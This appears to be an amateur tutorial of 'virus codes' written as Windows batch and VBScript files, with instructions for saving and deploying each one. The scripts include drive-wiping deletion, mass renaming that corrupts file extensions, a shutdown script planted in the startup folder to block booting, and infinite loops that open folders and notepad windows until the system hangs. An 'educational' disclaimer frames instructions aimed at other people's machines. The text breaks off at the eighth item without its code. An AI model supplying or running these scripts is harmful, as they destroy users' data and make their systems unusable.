VIRUS AND TROJAN CODES

This Section contains the Virus Codes. Some of these codes are already familiar with you, But still very much harmful and educational too. Below mentioned some of the Platforms in which these virus are coded.

• BATCH Programming.
• C/C++
• Python
• Visual Basic.

The code here are used for Educational Purposes. Please don’t use them to harm others. You can also install any Virtual Machine on your system, to experiment those codes.

1.  sHuTDoWn  VirUs

Many of you know this trick, but i can’t call this a virus. But still its not a friendly one, it can affect and harm uR data if not saved.

• Effect –> May Harm uR workings and unsaved data.
• Coding  Platform –> Batch Programming.
• Working –> On executing, it will shutdown your system immidiately. If your data is not saved, it can harm uR workings. And can sometimes becomes more destructive for normal users.

Type the code or just paste the code in notepad and save it as “.bat” extension. Example  –>  ron.bat

**************************************************

@echo off

shutdown -s -t “30″

**************************************************

“30″ mentioned here is time in seconds in which your system will shut-down. You can set any time as uR requirements. You can also add comments by adding “-c” tag after “30″. To  give any message to user while shutdown process.

Example  –>  shutdown -s -t “60″ -c “Windows Formatting starts…”

2. sHUtDowN  V!rUs  {mORe DesTrUCt!ve}

This code is same as above but it restricts system to start and shuts down system each time it starts.

• Effect –>  Destructive and Irritating.
• Coding platform  –> Batch Programming.
• Working  –> Shuts down system each time it starts, and user are never able to login properly. If user boots up system again and again, it sometimes cause windows failure or data lost.

Just type or copy the code in notepad and save it as “.bat” extension.
**************************************************
@echo off
shutdown -s -t “00″
**************************************************

Now goto following location  –>  start  –>  all programs  –>  startup. Right Click and open folder. Now just copy that saved .bat file and paste in that startup folder.

CAUTION  –>  DON’T USE THIS ON YOUR SYSTEM, YOU WILL NEVER ABLE TO OPEN YOUR SYSTEM. ONLY WAY TO GET RID OF THIS VIRUS IS TO OPEN YOUR SYSTEM IN SAFE MODE AND JUST GOTO THAT STARTUP FOLDER AND DELETE THAT “.bat” FILE.

3.  MuLt!PLe  FoLDeR  V!RuS

• Effect –> Not Destructive, But sometimes can become very irritating and itchy.
• Coding Platform –>  Batch Programming.
• Working –>  This code will just create multiple folders each time system starts-up and also open those hundreds of folders. It is not destructive but while executing it can eat up uR system process and results in slow system performance and sometimes could hang system.

Just write or copy the code in notepad and save it as “.bat” extension.
**************************************************
@echo off
:RON
md folder1
md folder2
md folder3
md folder4
md folder5
start folder1
start folder2
start folder3
start folder4
start folder5
goto RON
**************************************************

Now goto, START  –>  ALL PROGRAMS  –>  STARTUP FOLDER. Now just copy that .bat file in that folder. Next time system starts, multiple folders are created and will start automatically. You can name folder name anything as you want.

4.  NoTePaD  fLooD

• Effect –>  Not Destructive or harmless.
• Coding Platform –>  Batch Programming.
• Working –>  On executing this .bat file it will open and flood loads of notepad {actually it opens around 180 notepads}. This sometimes cause PC hang.

Type the code or just copy the code in notepad and save it as “.bat” extension.
**************************************************
@echo off
:RON
start notepad
start notepad
start notepad
goto RON
**************************************************

In the above code you can write “start notepad” any number to times. Increasing this command will increase flooding and cause higher chances of system hang-up.

5.  DeaDLy  woRdPaD  V!rUs

• Effect –>  Deadly and Destructive.
• Coding Platform –>  Batch Programming.
• Working –>  On executing, this code will delete every single piece of data from uR hard-drive. It will also wipe out windows from the system.

Just copy the code or type it in a worpad and save it as anyname with “.bat” extension.

**************************************************

@echo off

deltree C:\

**************************************************

NOTE  –  PLEASE DON’T RUN THAT “.bat” FILE ON YOUR SYSTEM. IT CAN BE VERY HARMFUL. AND LEARN THIS CODE FOR EDUCATIONAL PURPOSES ONLY, NOT TO HARM OTHERS.

6. F!le  eXTenS!oN  CorrUPT!nG  V!rUs

• Effect –>  Effects file execution, irritating but not destructive. Will Corrupt file working.
• Coding Platform –>  Batch Programming.
• Working –>  On executing this code will affects the opening of file and will corrupt the files extension. This will corrupt the file and disables it and you will not be able to execute it in proper format.

Just type or copy the code in notepad and save it as anyname with “.bat” extension.

*************************************************

@echo off

ren *.exe *.txt

ren *.jpeg *.txt

ren *.mp3 *.txt

ren *.doc *.com

ren *.jpg *.txt

**************************************************

7.  DanC!nG   CaPsLocK  N  nUmKeY

• Effect –>  Low, Irritating for normal user.
• Coding Platform –>  VBscript
• Working –>  On executing it will toggle both,  capslock and numkey continously and it becomes very irritating for normal user. This type of code can be used for prank purposes.

Just type the code or copy it on notepad and save it as anyname with “.vbs” extension.  Example  –>  “ron.vbs”

**************************************************

Set wshShell =wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{CAPSLOCK}”

wshshell.sendkeys “{NUMLOCK}”

loop

**************************************************

8. NoTePaD  TsuNaM!  V!rUs

• Effect –>  Harmful n Effective, Cause system crash easily.
• Coding Platform –>  VBscript.
• Working –>  On Executing, it opens notepad unlimited no. of times and write a text into notepad automatically. It looks very scary for normal users as it leads to system hang and crash system in few minutes.

Just type the code or copy it on notepad and save it as anyname with “.vbs” extension.
